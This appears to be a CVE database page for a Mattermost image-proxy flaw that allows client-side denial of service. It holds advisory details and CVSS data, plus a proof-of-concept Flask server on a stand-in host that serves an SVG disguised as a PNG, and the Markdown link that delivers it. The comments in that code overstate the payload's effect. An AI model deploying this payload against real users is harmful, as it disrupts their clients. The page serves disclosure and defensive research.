CVE-2026-4054

Description

Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 Fail to validate the response body of proxied images, which allows a remote attacker to enact client-side DoS via an SVG file served from an attacker-controlled origin under a non-SVG Content-Type header (e.g. image/png) embedded in an og:image meta tag or Markdown image link.. Mattermost Advisory ID: MMSA-2026-00630

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Mattermost 11.5.x <= 11.5.1

Mattermost 10.11.x <= 10.11.13

Mattermost 11.4.x <= 11.4.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Concept for CVE-2026-4054
# Attacker controlled server (evil.com/poc.png)

# 1. Create a malicious SVG file designed to consume resources
svg_content = '''
<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="1000">
    <!-- Complex pattern to cause rendering lag/DoS -->
    <defs>
        <pattern id="p" width="10" height="10" patternUnits="userSpaceOnUse">
            <rect width="10" height="10" fill="black"/>
        </pattern>
    </defs>
    <rect fill="url(#p)" width="100%" height="100%"/>
    <!-- Nested elements causing deep recursion -->
    <g> <g> <g> <g> <g> <circle cx="500" cy="500" r="400"/> </g> </g> </g> </g> </g>
</svg>
'''

# 2. Serve this SVG with the Content-Type header 'image/png'
# (Python Flask example)
from flask import Flask, Response
app = Flask(__name__)

@app.route('/poc.png')
def serve_evil_image():
    return Response(svg_content, mimetype='image/png')

# 3. Send the link in Mattermost Markdown
# Markdown syntax: ![DoS Image](http://evil.com/poc.png)
# When a user views the message, Mattermost proxies the image.
# The browser receives the file with header 'image/png' but parses it as SVG,
# triggering the DoS condition.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4054
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4054
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4054/
[4] VulDB https://vuldb.com/cve/CVE-2026-4054
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4054", "sourceIdentifier": "[email protected]", "published": "2026-05-15T19:17:04.803", "lastModified": "2026-05-15T19:17:04.803", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 Fail to validate the response body of proxied images, which allows a remote attacker to enact client-side DoS via an SVG file served from an attacker-controlled origin under a non-SVG Content-Type header (e.g. image/png) embedded in an og:image meta tag or Markdown image link.. Mattermost Advisory ID: MMSA-2026-00630"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}